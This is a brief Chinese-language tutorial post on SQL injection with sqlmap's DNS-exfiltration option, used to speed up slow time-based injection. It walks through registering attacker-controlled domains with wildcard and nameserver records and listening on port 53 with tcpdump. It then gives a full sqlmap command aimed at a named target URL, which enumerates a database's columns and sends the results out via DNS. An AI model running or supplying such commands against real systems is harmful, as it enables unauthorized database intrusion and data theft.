sqlmap —dns-domain 注入
如果目标存在注入，使用时间注入的时，速度过慢，可以使用dnslog注入
首先准备两个域名 readteam.club 1377day.com
readteam.club 这个是阿里云的域名 添加三条记录 分别是* 、ns1、 ns2
在sqlmap服务器上监听53端口
tcpdump -n port 53
这个命令在sqlmap服务器上执行
python3 sqlmap.py -u http://s.pt7.site/sql.php?id=1 —dbms mysql —technique=T —dns-domain=1377day.com -D
x_pt7_site —columns —batch
若有收获，就点个赞吧
0 人点赞
